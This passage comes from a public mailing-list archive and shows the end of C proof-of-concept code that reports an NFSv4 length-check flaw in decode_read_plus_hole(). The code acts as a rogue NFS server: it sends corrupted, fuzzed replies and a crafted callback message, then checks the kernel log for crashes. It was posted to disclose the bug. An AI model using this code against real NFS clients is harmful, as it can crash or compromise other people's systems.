}
if(symstart != -1){
for(int i = symstart; i < oi && aai < NAA; i += 8)
*(unsigned long long *)(obuf + i) ^= aa[aai++];
symstart = -1;
}
if(oi > 0){
if(write(s1, obuf, oi)<=0) perror("write");
}
if(send_back){
send_back = 0;
oi = 0;
put32(0); // dummy length
put_rpc_header(0x40000000, 1);
// CB_COMPOUND
put_opaque(0, ""); // compound tag
put32(2); // minor version
put32(0); // callback_ident
put32(2); // operations in the compound
// CB_SEQUENCE
put32(11);
for(int i = 0; i < 4; i++)
put32(1); // sessionid
put32(1); // sequenceid ???
put32(0); // slotid
put32(0); // highest_slotid
put32(0); // cachethis
put32(0); // csa_referring_call_lists<>
int xoi = oi;
for(int i = 0; i < 32; i++)
put32(0xffffffff);
for(int i = xoi; i < oi && aai < NAA; i += 8)
*(unsigned long long *)(obuf + i) ^= aa[aai++];
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
if(write(s1, obuf, oi)<=0) perror("write");
}
}
close(s1);
}
exit(1);
}
close(s);
sleep(20);
if(system("dmesg | grep 'unhandled sig'") == 0){
printf("unhandled signal\n"); while(1){}
}
}
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2022-01-04 20:08 UTC | newest]
Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-01-04 20:08 nfs v4 decode_read_plus_hole() insufficient length sanity check rtm
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.